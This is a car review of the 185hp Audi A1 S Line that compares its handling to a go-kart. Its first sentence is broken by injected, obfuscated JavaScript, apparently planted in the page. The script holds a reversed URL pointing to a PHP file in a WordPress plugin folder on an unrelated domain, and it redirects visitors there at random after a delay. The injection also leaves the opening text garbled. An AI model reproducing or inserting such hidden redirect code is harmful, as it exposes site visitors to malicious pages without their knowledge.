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We’ve not had enough time to upturn every stone in the$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/archives/” target=”_blank”> crankandpiston archives. But given the string of automotive talent that’s swept through our garage doors over the years we’re pretty confident one or two time-honoured motoring clichés have slipped through the net in some of our features: ‘handles like it’s on rails’, ‘alert and peppy’, ‘acceleration pins you to the seat’, etc, etc.
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Truth be told, it’s incredibly tempting to run wild with the aforementioned pile when talking about the 185hp Audi A1 S Line, since all of them are appropriate if slightly flowery descriptions. When talking about this particular hatchback though, I’d like to throw another oft-used phrase into the ring: ‘…like a go-kart’.
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Now I’ll admit that, upon closer inspection, the similarities between the 185hp A1 – yep, we’ve skipped the 122hp little brother and leapt straight in at the larier deep end – and the four-wheeled first rung of a potential Formula One career hardly seem to pass muster. Whereas in the kart you sit just a few inches from the ground in a seat so unyielding that various parts of your anatomy will quickly fall asleep, the A1’s fully adjustable pseudo-bucket seats make finding the right driving position a doddle. You’d also very rarely need a helmet in the A1, and while the luxury of multiple-hundreds of kilometres of blue sky directly above your head is always a joy to behold, a decent amount of headroom in the Audi is a decent compromise.
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Squint and really start to concentrate though and the cobwebs may get blown aside. Take the styling of each vehicle, for instance. With the kart we have a stripped out, lightweight machine whose primary focus is performance. Then there’s the A1. True, there’s four seats (once you’ve maneuvered your way around one of two doors and a leatherette-bound seat back), a solid surround sound and infotainment system, good quality instrument panels, air-conditioning, and satnav as an optional extra.
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But on the outside we find 17” two-tone aluminium wheels, (cliché spoiler alert) a love it-or-hate it sliced roof line, and aggressively styled body contours. Aesthetically at least, what we appear to have on the outside is a supermini focused on…performance. Interesting…
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Jump behind the wheel and the similarities keep coming. There’s solid weight to the steering – surprisingly solid, in fact – and ample feel for the road through the front Pirellis, which makes a big difference when hurling this $34,000 machine into a series of lefts and rights. Yes, good headroom and a tall(ish) cabin means the resultant possibly-too-high centre of gravity can worry the front wheels when turn-in speed is a little ambitious. Rarely though will this register as anything more than passing anxiety.
